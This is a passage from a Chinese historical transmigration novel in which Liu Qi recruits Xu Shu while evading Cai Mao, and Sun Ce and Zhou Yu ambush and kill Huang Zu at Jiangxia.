陈武在一旁吓了一跳,差点跳起来:“公子,这……这恐怕不妥吧?太守之位非同小可,岂是能如此轻易许出去的?这要是传出去,或是将来做不到,可是大麻烦啊!” “非常之时,行非常之事。” 刘琦眼底闪烁着一种破釜沉舟的光芒,“他甘宁敢张开这个血盆大口,我刘琦就敢应下来!至于将来能不能兑现……哼,那也得看他甘宁有没有那个真本事,帮我打出这个位置来!” 刘琦回信很快就被秘密送了出去。 但信使一走,刘琦心里的焦急感不但没减轻,反而更重了。 诸葛亮那边还得想办法再去见,甘宁这边也得先稳住,而窗外,蔡瑁布下的眼线仿佛成了一张正在不断收紧的网,勒得刘琦都快有些喘不过气来…… 刘琦深吸一口气,走到窗边,望着院角那棵叶子都快掉光了的老槐树,忽然觉得这看似安稳的偏院,其实就是一个华丽的笼子,刘琦必须得快些、再快些挣出去才行。 “下次再去隆中,得想个万全的法子,绝不能像这次这样冒险了。” 刘琦盯着窗外,喃喃自语,仿佛在对自己说,又仿佛在对着那棵老树发誓,“蔡瑁既然已经起了疑心,就绝不会再轻易松口……” 夜色渐深,偏院的书房里灯火再次亮了起来,窗纸上映出一个人影伏案疾书的剪影。 外头盯梢的探子缩在角落里,打了个大大的哈欠,心里嘀咕这位大公子还真是转了性,天天熬夜苦读,莫非真想读出点名声不成? 而屋里的刘琦,正就着昏黄的灯光,再次铺开襄阳附近的地图,手指在隆中上面缓缓划过,眉头紧锁,全神贯注地筹划着第二次拜访。 这一次,刘琦说什么也得见到那位卧龙先生。 第5章 二顾茅庐仍失意,柳暗花明得徐庶 刘琦在自己偏院内继续装模作样认真读书憋了两天,差点让刘琦这个后世之人给看吐了,两天下来闭户读书下来,刘琦如今满脑子就是之乎者也,子曰之类的。 于是刘琦便索性将手中的竹简一丢,双手托腮想起一顾茅庐的事。 上一回去隆中吃了闭门羹,还差点让蔡瑁那老狐狸嗅出味儿来,下次不能再傻乎乎直接冲过去了。 刘琦琢磨着,得等个由头,能名正言顺出城的由头。 结果机会还真让刘琦等来了。 没过几日,恰逢刘表要去城郊祭祀先农,祈求来年风调雨顺。 这算是个不大不小的典礼,刘琦作为长子,按理当然要跟着去。 蔡瑁虽然不情愿,但这种场面上的事,也不好明着阻拦。 祭祀的队伍浩浩荡荡出了城,旌旗仪仗搞得挺像那么回事 刘琦穿着正式的礼服,混在队伍里头,眼珠子却不住地往隆中方向瞟。 等仪式一开始,刘表被一众官员簇拥着开始祭农发言,场面有点乱哄哄的时候。 刘琦瞅准个空子,赶紧给张诚使了个眼色,两人故意落后几步,接着路边树林子一挡,迅速脱掉外面显眼的礼服,露出里头早准备好的寻常布衣,打马就往西边岔路钻。 “快!抓紧时间!” 刘琦心里跟擂鼓似的,既盼着这次能见着诸葛亮,又怕再扑个空。 刘琦之所以敢趁机去二访茅庐,便是认定自己那个便宜老爹刘表不会让自己出面发言,且就算刘表会,蔡瑁也会阻拦。 刘琦敢拿自己的人头担保蔡瑁绝对不会希望自己在祭农典礼上发言,这样的政治秀场上出面,当着众多百姓,以及众多不明白刘琦处境的中下官僚面前狂刷存在感。 蔡瑁如今巴不得刘琦这位长公子一点一点淡化出大众的视野,变成一个可有可无的刘表儿子。 回到刘琦这头,还没等刘琦跑出去多远,麻烦就来了。 只见前往隆中的官道上赫然新设了个卡子,几个兵丁拄着长矛在那儿,对过往行人盘查的那叫一个细,连挑柴老汉的柴火捆都要用矛杆捅几下看看。 “操!蔡瑁这老小子,动作真他娘快!” 刘琦低声骂了一句,但只得勒住马,心里凉了半截。这明摆着就是冲他来的。 没法子,硬闯肯定不行。 刘琦只好和张诚绕到旁边崎岖难走的小道上,这一绕,就多费了快一个时辰。 等刘琦他们灰头土脸、一身汗地赶到那片熟悉的松林外时,日头都已经偏西了。 柴扉依旧半掩着,可刘琦的心已经沉下去大半。 刘琦上前叩门,还是那个小童探出头来。 “先生今日可在家中?”刘琦抱着一丝希望问。 小童摇摇头:“先生一早就出山访友去了,归期未定哩。” 得,又白跑一趟。 闻言刘琦只感觉一口气堵在胸口,上不来下不去,憋得难受。 尽管刘琦难受到要爆炸,但也只勉强笑了笑,然后让张诚又把备好的礼物——一套难得的古本棋谱和一盒上品云子递过去:“劳烦小兄弟,等先生回来,务必转交。” 小童闻言嬉笑地接过张诚手中的礼物,应承下来。 刘琦站在那儿,望着那紧闭的茅庐,心里很不是滋味,挫败感像潮水一样涌上来。 两次了!自己千辛万苦来了两次怎么连个面都见不着!难道老天爷真不给我刘琦一条活路? 刘琦蔫头耷脑地转身,招呼张诚:“走吧,回去。” 这次二访茅庐一趟折腾,却又是无功而返刘琦那是人困马乏,心情更是跌到了谷底。 主仆二人沿着山道往下走,只觉得口干舌燥,远远看见道旁有个简陋的茶棚,茶棚一老叟提着一冒着些许热气大茶壶挨个给客人倒茶。 刘琦舔了舔干裂的嘴唇,“走,去歇歇脚,喝碗粗茶解解渴。” 走进茶棚刘琦扫了眼棚子里面,只见坐着四五个人,看打扮像是游学的士子,正争得面红耳赤。 刘琦也没在意,因为这隆中附近有水镜先生司马微开办的水镜庄大学堂,所以常有学子出现在这附近。 刘琦找了个角落的空位坐下,让张诚去要两碗最便宜的茶汤。 刘琦刚喝了一口,那如茶叶或者说枯叶的苦涩味道瞬间让刘琦皱了下眉,就听见旁边那桌士子争论的声音突然大了起来。 “荒谬!简直荒谬!” 一个穿着稍显华贵的学子拍着桌子。 “曹孟德如今被本初公大军压境,退守兖州腹地,粮草匮乏,败局已定!焉有翻盘之理?元直兄此言,未免太过危言耸听!” 被称作“元直兄”的,是个约莫三十左右的青衫士子,面容清瘦,眼神却清亮有神。 他面对指责,并不动怒,只是平静地端起粗陶碗喝了一口茶,缓缓道: “非也,非也!袁本初地广兵多不假,然其政令多出,谋臣各怀心思,颜良、文丑虽勇,不过匹夫之勇。” “反观曹孟德,虽处劣势,但法度严明,知人善任,赏罚必信,且其麾下郭嘉、荀彧等人皆乃奇佐之才。更何况…” 他顿了顿,声音压低了些,却也让声音更显清晰了。 “袁绍如今更是昏庸不堪,竟将自己的左膀右臂田丰、沮授打入牢中,如此昏庸之举致使麾下大将谋士缄默不言,大军军心涣散。” “我若是曹公麾下智谋定劝曹公出奇兵,击其后翼等软弱之处,或囤积粮草之地,出其不意攻其不备则袁军百万之众,不战自溃矣。” 这番话条理清晰,分析透彻,甚至隐隐点出了官渡之战最关键的一环! 刘琦听得心头狂震,端着茶碗的手顿时僵住了——这人是谁啊?!分析得如此准确! 要知道如今曹操被打得龟缩官渡,天下九成九的人都看好袁绍,他居然能如此精准地预判到曹操的胜机和关键点?! 这眼光、这见识,绝非寻常腐儒! 那几个学子显然不服,又引经据典的反驳,说什么四世三公威望深重,河北带甲百万等等。 但那青衫士子不慌不忙,一一予以驳斥,句句切中要害,说得那几个学子面红耳赤,最后悻悻然甩下一句“道不同不相为谋”,结账走人了。 茶棚里顿时安静下来。 刘琦的心脏却砰砰越跳越快,一个名字在他脑海里呼之欲出——能在这個时候,有这等见识,又叫“元直”的…莫非是?! 想到这刘琦再也坐不住,深吸一口气,整理了一下衣袍,起身走到那青衫士子桌前,郑重地拱手行礼: “这位先生请了!” “在下刘琦,适才偶闻先生高论,茅塞顿开,敬佩不已,冒昧请教先生尊姓大名?” 那士子微微一愣,显然听过刘琦的名字,眼中闪过一丝讶异,但很快恢复平静,起身还礼:“原来是刘琦公子。” “在下颍川徐庶,徐元直,一介布衣,当不起公子‘先生’之称。” 徐庶态度不卑不亢,并没有因为刘琦的身份而显得拘谨或者巴结。 徐庶!果然是徐庶!徐元直! 刘琦心里顿时掀起了惊涛骇浪,狂喜瞬间冲散了之前的郁闷! 诸葛亮没见着,居然在这里遇到了另一位大才! 这可是历史上帮刘备打了大胜仗,后来又进了曹营“一言不发”的徐庶啊!其才能绝不一般! 刘琦强行压下心中激动,尽量让声音保持平稳:“元直兄太过谦了!方才一席话,可谓洞若观火,直指要害!如今世人皆言袁绍必胜,唯元直兄能看到曹公胜机,实在令人钦佩!” 刘琦这话是发自真心,因为他知道徐庶说的全对。 徐庶眼中闪过一丝讶异,没想到这位荆州长公子竟能理解并赞同自己这番“不合时宜”的论断。 徐庶重新坐下,示意刘琦也坐:“公子也认为曹公能胜?” 刘琦坐下,诚恳道:“不瞒元直兄,我虽愚钝,却也觉得袁绍外宽内忌,好谋无断,帐下谋士倾轧,良将虽勇却疏于调度,虽势大,实难持久。” “反观曹操,确如元直兄所言,法度严谨,善于用人,此消彼长,胜负之数,犹未可知也。” 刘琦巧妙地把后世结论用自己的话包装了一下,既附和了徐庶,又没显得太未卜先知。 徐庶闻言,脸上露出了真正意义上的笑容,像是找到了知音:“公子能有此见地,已远超寻常人了。” 两人越聊越投机,从官渡之战聊到荆州局势,又聊到天下大势。 徐庶见解独到,分析问题往往一针见血,让刘琦大有豁然开朗之感。 刘琦也趁机吐露了些自身困境和求贤若渴的心情,态度极为诚恳。 眼看时机成熟,刘琦深吸一口气,起身对着徐庶深深一揖: “元直兄大才,经天纬地!刘琦虽不才,如今身处困境,却绝非甘于沉沦之辈!日夜所思,便是能得贤才辅佐,以安荆州,乃至匡扶汉室!” “如元直兄这般大才,流落山野,实乃天下之大不幸!若元直兄不弃刘琦愚钝,肯屈尊随我回襄阳暂住,刘琦必奉为上宾,日夜请教!此生绝不相负!” 刘琦这番话说得情真意切,眼眶甚至都有些发红。 徐庶看着刘琦,沉默了片刻。 他自然知道刘琦在荆州的尴尬处境,投奔他风险极大。 但刘琦的诚恳态度、对自己也是极度看重(甚至可说是知遇之恩),以及那份虽处逆境却不甘平庸的志气,让有些感同身受的徐庶有几分心动。 他徐庶本就不是安分守己之人,早年任侠,后来折节读书,所求不过一展抱负,遇一明主。 眼前这位刘公子,虽说处境尴尬,但或许可以留在身旁在观察观察…? “承蒙公子如此厚爱,庶,感激不尽。” 徐庶思虑片刻后开口,“若公子不嫌徐庶才疏学浅,庶愿随公子前往,略尽绵薄之力!” 刘琦一听,高兴得差点跳起来!强忍着激动,连连道:“太好了!得元直兄相助,如旱苗得甘霖!刘琦之幸也!” 当下刘琦也顾不上喝茶了,刘琦立刻起身,就要带着徐庶回城。 而回去的路上,自然要经过那个关卡。 兵丁盘问时,刘琦心里还有点打鼓,但面上镇定得很,只说徐庶是自己新招揽的门客文书。 兵丁看徐庶一副寒士模样,也没太起疑,嘀咕了两句就放行了。 见此刘琦暗暗松了口气,心中直感叹自己这个荆州长公子,过得真是憋屈。 刘琦一行人有惊无险地回到州牧府自己偏院内。 随后刘琦立刻吩咐下去,让仆役收拾出一间最好的客房,以上宾之礼待徐庶,好酒好菜赶紧端上来。 刘琦自己则陪着徐庶,继续茶棚未尽的话题,二人是越聊越是兴奋,只觉得眼前豁然开朗,好多刘琦以前想不通的关节,经徐庶一点拨,顿时清晰起来。 刘琦偏院内的一切,自然也没瞒过蔡瑁的眼线。 很快消息就报到了蔡瑁那里:“将军,刘琦今日随主公祭祀后,似乎晚归了片刻,还带了个陌生的穷酸书生回来,看样子像是新招揽的门客。” 蔡瑁正在擦拭他的宝剑,闻言嗤笑一声,把剑插回鞘里:“穷酸书生?呵,我就说嘛,司马徽、庞德公那样的人物,岂是他能请动的? “这小子招个破落书生充门面,真是越活越回去了!继续盯着,看那书生能翻起什么浪花。” 刘琦的所为算是让财贸彻底放下心来,觉得刘琦也就这点出息了。 这夜刘琦这处偏院里,烛火亮了一夜。 刘琦和徐庶相谈甚欢,从荆州谈到天下,从军事谈到民生。 刘琦不仅获得了宝贵的建议,更从徐庶那里侧面打听到了更多关于诸葛亮的信息和隆中的情况。 送徐庶去休息后,刘琦独自站在窗前,看着窗外沉沉的夜色,心里却亮堂得很。 诸葛亮虽然还没见到,但得了徐庶,简直是意外之喜,像是走在漆黑夜里突然摸到了一大块金子,让他信心倍增。 刘琦想起跟徐庶谈起访问诸葛亮的事,刘琦先说自己两次来访友不遇,莫非是这诸葛亮故意不见? 徐庶闻言,倒是笑了笑:“访友贵在诚心,一次不见,便二次,二次不见,何妨三次?心诚则灵。” 徐庶这话像股清泉,一下子说到了刘琦心坎里。 “三次……心诚则灵。”刘琦握紧了拳头,眼神变得无比坚定,“诸葛亮,我一定会把你请出山!” 第6章折节下交得臂助,徐庶暂栖画良图 于是刘琦将徐庶带到自己偏院内最雅致的厢房前指给徐庶,并告其先在这暂住一段时间。 而刘琦所指的厢房,屋里一应用物都是刘琦悄悄让翠儿换了最好的,书案上的笔墨纸砚,甚至比刘琦他自己用的还讲究几分。 “元直兄,寒舍简陋,暂且屈就。” 刘琦这话说得诚恳,眼神里没半点虚的。 两次访诸葛亮未成,如今的刘琦是真的把徐庶当成了救命稻草。 徐庶点了点头,口中连连说道:“自己是山野之人,随意便可!” 等徐庶走进屋里扫了一眼房间,嘴上虽然说随意,但心中却对刘琦感官好了几分。 只见这处厢房虽处于角落但也窗明透亮,书卷满架,摆在案几上的香炉里还袅袅飘着几缕清烟,显然是用了心的。 徐庶脸上虽然心中对刘琦感官甚佳,但多年游历天下让徐庶早就练就出一副波澜不惊的内心。 于是徐庶点了点头,向刘琦拱手道:“公子厚意,庶感激不尽。” 接下来的几天,刘琦几乎是天天来徐庶这,就差点发动刘备技能(把臂同游,抵足而眠)了 刘琦日日跑来,也不全说正事,有时抱着一卷书,假模假式地请教几个问题,有时干脆拎壶粗茶,跟徐庶天南地北的闲扯。 而且刘琦也从不摆荆州长公子的架子,开口闭口就是“元直兄” 斟茶倒水也亲力亲为,搞得张诚在一旁直瞪眼,觉得自家公子对这穷书生也太好了点吧! 徐庶起初还带着几分士人的疏离和观望,但架不住刘琦这股子近乎笨拙的热乎劲儿。 几天下来,徐庶发现这位长公子虽身处逆境,却并非庸碌之辈,言谈间时常有些看似离经叛道、细想却颇有道理的见解,尤其是对北方袁曹之争的判断,竟与自己不谋而合,甚至…有时言语间更为笃定? 这让徐庶一时间不知道是刘琦自己所想,还是为了迎合自己! 几日后,窗外日头正好,刘琦徐庶两人又对坐饮茶。 聊到尽兴之后,刘琦忽然叹口气,终于把话挑明了些,脸上带着恰到好处的苦闷: “不瞒元直兄,如今我这处境,真是如履薄冰,生怕一步不慎便跌入万丈深渊!” “前有蔡氏联合蒯家欲意拥戴琮弟,对我步步紧逼,而父亲…唉!” 说到这,刘琦重重一叹。 在这个时代,以子论父传出去恐遭人非议,于是刘琦只能挑一些简单的说。 “父亲的心思我也难猜。我虽空有长子之名,但却空有其名,父亲不喜,蔡蒯两家紧逼。 “我时常半夜惊醒,梦见父亲百年后,自己被蔡氏逼得如丧家之犬般逃出襄阳,最终客死异乡。” 刘琦这话七分真三分演,将一个迷茫却又不甘的公子形象勾勒出来。 徐庶捧着茶杯,默然片刻,道:“公子能看清困境,已属不易。” “荆襄九郡,虽看似安稳,实则暗流汹涌。蔡蒯两家凭借当年拥戴之功,在这南郡已树大根深,公子欲要动摇,非一日之功,还需长远谋划。” 徐庶虽然话没说透,但也点出了关键。 刘琦心中一喜,见徐庶如此便知道有门儿。 刘琦于是赶紧趁热打铁道:“元直兄所言极是!故而我才日夜思盼,渴望能得真正贤才指点迷津,共图安荆之策!若元直兄不弃…” 刘琦说着站起身来,对着徐庶便是深深一揖,语气也有几分激动,“我刘琦愿以师礼待之,但有所命,无敢不从!只求元直兄助我!” 刘琦这一揖,情真意切,姿态也放得很低。 徐庶看着躬身在前的刘琦,眼神复杂。 他能感受到刘琦的诚意,这几日的交谈也让徐庶觉得此人可辅,并非纯粹的纨绔子弟。 但他徐元直闯荡半生,早年任侠,后来折节读书,见识过人情冷暖,岂会因一番礼遇和几句豪言便轻易许下终身? 思虑片刻,徐庶起身扶起刘琦,摇了摇头,脸上竟露出一丝淡淡的笑意:“公子之心,庶已深知。公子之志,庶亦感佩。然则......” 徐庶停顿了一下,刘琦的内心也一下被提了起来。 “然则,投效之事,关乎庶平生,请容庶…再思量些时日。” 听到这里刘琦心里“咯噔”一下,像是被冷水浇头,满腔热望霎时凉了半截。 刘琦嘴巴张了张,想说点什么,却又不知道再说些什么,只能将未竟之言咽了回去。 同时刘琦心中不免有几分自嘲 是啊,招揽名臣武将哪有那么容易? 虽然自己确实是穿越客,但也不能真当自己是话本里的真命天子,虎躯一震便贤才就来投?双臂一展便美女投怀送抱?徐庶这等人物,自然要慎重。 想到这,刘琦勉强挤出个笑容,带着点失落,却并无怨恨:“是刘琦唐突了。元直兄乃当世大才,自然该慎重,不过无论元直兄做何决定,刘琦绝无怨言,这几日能得兄台教诲,已是幸事。” 徐庶将刘琦的反应看在眼里,见刘琦虽失望却能迅速克制,且言语间依旧保持尊重,心中那杆秤又不自觉地向刘琦倾斜了几分。 于是徐庶复又坐下,语气缓和了许多:“公子不必如此。庶虽未能即刻效命,然这几日承蒙公子厚待,岂能毫无表示?公子若信得过,眼下困境,或可试言一二,庶或可试为公子剖析,姑妄言之,故妄听之。” 峰回路转! 刘琦闻言,眼睛猛地又亮了起来,那点失落瞬间抛到九霄云外! 虽然不能立刻将徐庶招揽到手,但能当个高级顾问,对如今的刘琦来说也是天大的好事啊! “信得过!自然信得过!”刘琦忙不迭地应道 ,随即刘琦立刻将蔡瑁的监视、刘表的暧昧态度、自己谋求外放江夏的打算,以及暗中联络甘宁等事,捡那能说的,都粗略说了一遍,当然,穿越者的身份和先知是绝不会透露的。 徐庶听得仔细,手指无意识地蘸着茶水,在案几上划拉着。 半晌,徐庶沉吟道:“蔡德珪防范甚严,公子确需暂敛锋芒,示敌以弱。甚至…可故作沉湎之态,使其愈发轻视。” “至于江夏…” 徐庶顿了顿,“黄祖庸碌,却镇守要冲,江东孙氏对荆州早已垂涎三尺,迟早会发兵攻打江夏,届时黄祖必定会死于孙氏之手。” “所以公子欲往,还需得等待时机!” 随后徐庶又略略提了几条如何暗中结交军中不得志的底层军官、如何利用刘表与蔡氏之间微妙的制衡,条理清晰,虽只是大致方向,却已让刘琦有种拨云见日之感。 “元直兄一言,真令我茅塞顿开!”刘琦由衷赞道,兴奋地搓着手。 自那日后,徐庶虽未明确投效,但也未曾开口离去,而是在刘琦的偏院里住了下来,身份超然,似客卿,又似幕僚。 刘琦待他依旧恭敬,凡事也多与之商议。 徐庶则时而指点一二,虽不多言,却总能切中要害。 两人常常在书房密谈至深夜,烛光将两人的身影投在窗纸上。 二人的行为自然瞒不过蔡瑁的眼线,窗外,蔡瑁的眼线缩在角落里,打着哈欠,只当那刘琦是招了个清淡的书生回来解闷,愈发瞧不上眼,回报给蔡瑁的也尽是“刘琦依旧无所事事,终日与那寒士空谈”之类的话。 蔡瑁听了,果然嗤之以鼻,对左右笑道:“我道他招了个什么人物,原来是个只会耍嘴皮子的穷酸!刘琦这小子,也就这点眼界了!” 蔡瑁遂更加不以为意。 偏院之内,刘琦却如获至宝。 刘琦听着徐庶偶尔提及那位隐居隆中的好友诸葛亮“才学胜我十倍”,“有经天纬地之能”,心中那团三顾茅庐的火,烧得越发旺盛起来。 “元直兄,你说,我若再去隆中,该如何才能请动孔明先生?”一日深夜,刘琦忍不住问道。 徐庶捋须微笑,眼中有光:“精诚所至,金石为开。孔明非常人,唯以非常之诚,或可动之。” 刘琦重重地点了点头,目光看向窗外漆黑的夜空,仿佛已穿透重重阻碍,落在了那片寂静的松林之中。 第7章周瑜略施小计破荆门,孙策阵斩黄祖! 建安五年的长江,注定是没法平静的。 因为江东六郡以尽被孙策收入囊中。 年纪轻轻取得如此大的成句,孙策的野望自然如气球般大了起来,只沉醉在取得江东六郡后飘然了半旬。 孙策便被更大的野心给从陶醉中给驱赶了出来,孙策此时的野望便是完成父亲孙坚的遗志,夺取荆州! 是日,孙策秘密集结大军来到了位于荆扬边界的柴桑。 长江! 孙策立于船楼之上,一身戎装映着江水的粼光,目光望向西面荆州的方向,心中思绪万千。 父亲孙坚战死岘山的悲怆往事,如同一个烙印般刻在他心头,那份未竟的遗志,日夜灼烧着孙策的血脉。 “公瑾,你看这万里长江,何等壮阔!” 孙策声如洪钟,带着难以抑制的激越,“父亲当年饮恨于此,今日,我孙伯符必以此江为路,踏破荆襄,以告慰父亲在天之灵!只要我们拿下江夏,便可沿汉水北上,直取襄阳!完成父亲遗志!” 站在孙策一旁的周瑜一袭月白儒袍,临风而立,姿容俊朗,但却比孙策多了几分沉静与缜密。 只见周瑜听完孙策之言后,微微摇头,羽扇轻指荆州舆图:“伯符,勇则勇矣,然克敌之道,非仅凭血勇便可的。” “这襄阳城,刘景升经营多年,城高池深,且刘表经营多年,城内粮草充足,又兼有汉水之险,实乃易守难攻之坚城。我军若倾力北上,蔡瑁、张允率荆州水师袭扰粮道,则我军进退失据,危如累卵。” 孙策眉头一皱:“那依公瑾之见?” 周瑜唇角勾起一丝淡笑,羽扇点在汉水与长江交汇之处,“吾之意,在此!” “江陵?” 孙策望去,见周瑜点在荆州之中江陵城上。 “对,江陵!” 周瑜点头重复道。 “江陵!此乃荆州腹心,南北锁钥,我们若是夺取江陵,则可将荆州一刀两断,南北隔绝,使其首尾不能相顾。” “届时,荆南四郡……” 周瑜顿了顿,眼中闪过睿智的光芒: “昔日搅动荆南四郡的张羡虽死,然其子张怿与地方豪强,岂是甘于久居刘表之下者?” “刘表昔日平定荆南,手段酷烈,积怨已深。” “届时只需我军切断襄阳与荆南联系,再稍加煽动,荆南必乱!” “彼时,伯符可轻易逐个击破,先取易得之沃土,何苦以疲师硬撼襄阳坚城?” 孙策闻言,眼中精光暴涨,猛地一拍栏杆:“善!公瑾之谋,深得我心!那我们便先取江夏,再图江陵!” 但孙策兴奋之意一顿,紧接着说道:“然黄祖那老匹夫,虽性如豕鹿,蠢笨骄横,恐亦非全然无智,想夺取江夏恐非易事。” 闻言周瑜却成竹在胸:“败黄祖之策,可根据其性贪婪,骄矜自大,而定制。” “伯符可先遣偏师屡次佯败,弃些辎重,令其小胜而骄,待其心防尽去,在以利诱之,其大军尽出,便可设伏一击而定!” ...... 江夏,沙羡水寨。 黄祖看着江东水军又一次“狼狈”退去,甚至遗落下几艘破损的辎重船,不由抚掌大笑,对左右道: “孙策小儿,黄口孺子,只知逞其父之勇!” “我荆州水军雄踞长江,岂是彼等江东鼠辈可撼动?传令下去,今夜犒赏三军!” 一时间众将谄媚之声不绝于耳。 但此时却有一将越众而出,此人身形魁梧,面色桀骜,正是甘宁。 只见甘宁眉头紧锁,上前走到黄祖前朗声道: “太守!末将观江东军败退之时,旗号不乱,船序井然,更兼其退而不远,始终与我军保持若即若离之势。” “是以,宁猜测孙策并非真败,而乃诱敌之计!” “还恳请太守慎思,万不可轻视!” 黄祖笑声戛然而止,不悦地瞥了甘宁一眼。 黄祖素来厌恶这水贼出身的甘宁,觉得他目无尊上,又常是口出狂言,此刻又来扫兴,更是让黄祖怒火中烧。 黄祖冷哼一声,语带讥讽:“甘兴霸,你莫非是被那孙策吓破了胆?” “还是你已经与江东有什么勾连,故而在此扰乱军心,长他人志气?本太守戎马半生,什么阵仗没见过?岂容你在此妄加揣测!” 甘宁面色一僵,心中憋闷,却仍想尽忠职守:“太守!宁绝无二心!正因深知长江水文险恶,前方水道复杂,芦苇丛生,实乃设伏绝地!一旦中伏,顺流而下易,逆流回撤难!请太守三思!” “够了!”黄祖勃然变色,“休得多言!再敢惑乱军心,定斩不饶!” 之后接连数日,江东军屡次挑衅又屡次“败退”,甚至周瑜为了将戏演的真实一些,连孙策的舅舅都给抬了出来。 随着孙策的舅舅、江东宿将吴景的旗号都出现在“败军”之中。 且“败相”更为狼狈。 一次次“胜利”的捷报传来,黄祖脑中那根警惕的弦彻底松弛,而阵斩或者俘虏江东宿将吴景的功劳与贪婪充斥在黄祖心间。 “天赐良机!孙策主力已溃,连吴景都狼狈而逃!此时不追,更待何时?” “众将听令!随我出寨,追击江东败军,直捣柴桑!” 黄祖意气风发,下令全军出击。 甘宁闻讯大惊,再次飞驰赶来,几乎是吼着劝阻:“太守!穷寇莫追!且观敌军随败退,但也皆是外围散乱,其核心依旧进退有据,若是追击必有埋伏!此去凶多吉少!” 黄祖见甘宁竟敢当众再次顶撞,尤其那急切的神情在他看来更像是轻视自己的判断,顿觉颜面大损,暴怒道: “甘宁!你一再抗命,乱我军心,莫非真欲投敌耶?本太守念你微末之功,给你戴罪立功之机!命你率本部八百锦帆为前锋,率先追击!若再敢多言半句,立斩阵前!” 甘宁顿时被气得双目圆睁,拳头攥得咯咯作响,但军令如山,甘宁也只得咬牙领了这近乎送死的军令,率麾下儿郎愤然先行。 果不其然,甘宁的前锋一路几乎未遇像样抵抗,反而“收复”了不少失地。 当甘宁的消息传回后,黄祖更是志得意满,认定江东军已无力再战,催促大军全速前进,务必生擒吴景。 直至一处名曰“芦苇荡”的狭窄水道,江流陡然湍急,两岸芦苇密如墙垒,高可没人。 甘宁心头却警铃大作,急令船只减速,派出快艇回报:“前方地势险恶至极,恐有重伏!请太守速令大军停止前进,就地戒备!” 此时的黄祖杀得性起,眼看“溃不成军”的江东船队就在前方水道尽头,仿佛吴景唾手可得,岂肯听进这逆耳之言? 于是黄祖不仅不信,反而认为甘宁怯战畏缩,怒斥使者,严令全军:“加速通过水道!畏缩不前者,斩!” 就在黄祖中军大队船只尽数涌入水道,因顺流疾下,船队拥挤,一时难以回转之际,两岸密不透风的芦苇荡中,突然响起震天动地的战鼓声! 咚咚咚!咚咚咚! 无数江东艨艟快艇如离弦之箭般冲出芦苇丛,箭矢如同飞蝗骤雨般泼洒向荆州船队! 更有人投掷火油罐,火箭随之而下,瞬间引燃数艘荆州战舰! 周瑜卓立于一艘高大艨艟舰首,羽扇轻摇,指挥若定,眼含笑意的看着如困兽之斗的黄祖。 “中计矣!快撤!后队变前队,撤!”黄祖被周瑜这一出伏击吓得魂飞魄散,嘶声力竭地大吼。 然而为时已晚! 江流湍急,庞大的船队挤在狭窄水道内,互相碰撞,进退维谷,且随着越来越多的船只被江东士卒点燃,顿时火光冲天,船只上的士卒惊慌失措,乱作一团哭喊震天! 此时刘琦若在这里,定然惊呼江东果然人均纵火犯! 就在这混乱至极的时刻,一艘轻捷快舟如利剑般逆流而上,直冲黄祖的旗舰! 孙策赤膊跃立船头,左手父亲古锭刀,右手自己武器厉火长枪,站在船头犹如天神下凡,偶尔的飞来的流矢也被身旁的亲卫,持盾挡住。 如今黄祖以及中了公瑾之策,插翅难飞,今日我孙伯符,定用父亲宝刀将其枭首,已报父亲在天之灵! 眼见快抵达黄祖旗舰,孙策收回心中思绪一声暴喝震动江面:“江东孙伯符在此!黄祖老贼,纳命来!” 不待荆州兵卒集中放箭射杀,孙策已借快舟冲势,一个助跳跃上黄祖座舰! 孙策果然不愧江东小霸王之名。 冲入荆州军阵内就是刀光翻飞,寒光点点,直取那已吓得面无人色、瘫软在地的黄祖! “保护太守!保护太守!” 黄祖亲兵牙将拼死来救。 可又怎么能挡住孙策这头报仇心切的猛虎? 孙策一路砍杀,如入无人之境,一眼锁定瘫在帅旗下的黄祖,大喝一声,手中古锭刀化作一道霹雳,疾劈而下! “噗——咔嚓!” 刀锋过处,甲胄碎裂,血光迸溅! 黄祖难以置信地低头,看着穿透胸膛的刀锋,喉咙里发出几声“咯咯”异响,头一歪,气绝身亡。 主将阵殒,旗舰大旗倒塌,加之被伏击火攻等一系列组合拳下来,荆州水军彻底崩溃,或跪地求降,或跳江逃命,或负隅顽抗被格杀,死伤枕籍,江水为之染赤。 消息很快传到前方。 甘宁得知黄祖已死,中军覆灭,退路被江东大军彻底封锁,心中五味杂陈,悲愤莫名。 甘宁本想就顺势投降孙策。 但心中傲气使然,觉得临阵投敌,非丈夫所为。 且怀中还揣着刘琦那封许以厚诺、言辞恳切的亲笔信… “哼!孙伯符虽勇,却非我甘兴霸甘心俯首之主!” 甘宁此时已经来到了柴桑城边上,抬眼就能望着前方烟波浩渺、水域错综复杂的鄱阳湖。 于是甘宁干脆把心一横,“儿郎们,随我走!天高水阔,岂无我等纵横之地!” 遂率麾下八百健儿,转舵扬帆,弃了长江主道,直入千里鄱阳,暂隐锋芒,以待天时。 第8章 襄阳大乱!我刘琦的机会来了! 襄阳城,州牧府。 刘表等一众臣属一边商议着政务一边欣赏着大厅内翩翩起舞的舞女。 而就在这时一派歌舞升平骤然被疾驰而来的马蹄声踏碎。 “急报!八百里加急!江夏急报!” 一名背插三支赤羽、浑身沙尘的驿卒狂奔入府,扑倒在堂前,高喊道: “禀主公!江东孙策大举进犯!黄太守他.....他....” “他怎么了啊!” 蔡瑁快步走到驿卒,着急的问道。 自从刘表单骑入荆州后,便与荆州或者说南郡世家默默的达成了一个潜规则,那就是蔡家掌军,蒯家掌政。 是以,当听到是江夏的紧急军情后,蔡瑁自然是快速的来到驿卒前,听到他上气不接下气的回话后,心急的蔡瑁于是一把夺过驿卒手中的军报。 “黄祖轻敌冒进,中了周瑜奸计,在芦苇荡遭伏……力战……力战身死!沙羡……沙羡已失!” 随着蔡瑁读出军报上的内容。 “噗——!” 上首的刘表,闻此噩耗,只觉眼前一黑,喉头一甜,一口鲜血猛地喷出,染红了身前案几上的帛书,身体晃了几晃,几乎栽倒。 “父亲!” “主公!” 堂下顿时乱作一团。 刘琦、刘琮急忙上前搀扶。 蔡瑁更是须发戟张,拔出佩剑劈在厅内的梁柱上: “孙策小儿!安敢如此!” “明公!给我精兵三万,我即刻东下,必取孙策首级,以祭元阳(黄祖的字)在天之灵!” 刘表面色惨白如金纸,在儿子搀扶下勉强坐稳。 刘表刚做稳便推开侍从递上的参汤,手指颤抖地指向厅堂中央那巨大的荆州舆图,嘴角还带着血沫: “襄阳…襄阳暂可无忧!孙策…孙策志不在此!” “他要的是这里!是江陵!江陵若失,则荆州南北隔绝,荆南…荆南必乱,大祸将至矣!” 仿佛是为了印证刘表所说的般,还没过一会殿外又是一阵更加急促混乱的马蹄声,另一名信使几乎是滚着爬了进来,声音带着一丝的慌乱: “报——!八百里加急!” 